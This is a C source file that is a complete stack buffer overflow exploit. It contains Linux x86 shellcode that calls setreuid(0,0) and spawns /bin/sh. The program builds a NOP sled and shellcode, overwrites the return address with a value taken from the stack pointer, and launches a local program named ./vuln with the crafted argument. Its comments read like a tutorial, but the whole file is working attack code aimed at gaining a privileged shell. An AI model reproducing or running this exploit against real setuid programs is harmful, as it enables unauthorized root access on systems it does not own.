#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)         // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointer

int main(int argc, char *argv[])
{
  int i, offset;
  long esp, ret, *addr_ptr;
  char *buffer, *ptr;

  offset = 0;                 // Use an offset of 0
  esp = sp();                 // Put the current stack pointer into esp
  ret = esp - offset;         // We want to overwrite the ret address

  printf("Stack pointer (ESP) : 0x%x\n", esp);
  printf("    Offset from ESP : 0x%x\n", offset);
  printf("Desired Return Addr : 0x%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)
  buffer = malloc(600);

// Fill the entire buffer with the desired ret address
  ptr = buffer;
  addr_ptr = (long *) ptr;
  for(i=0; i < 600; i+=4)
  { *(addr_ptr++) = ret; }


// Fill the first 200 bytes of the buffer with NOP instructions
  for(i=0; i < 200; i++)
  { buffer[i] = '\x90'; }

// Put the shellcode after the NOP sled
  ptr = buffer + 200;
  for(i=0; i < strlen(shellcode); i++)
  { *(ptr++) = shellcode[i]; }

// End the string
  buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
  execl("./vuln", "vuln", buffer, 0);

// Free the buffer memory
  free(buffer);

  return 0;
}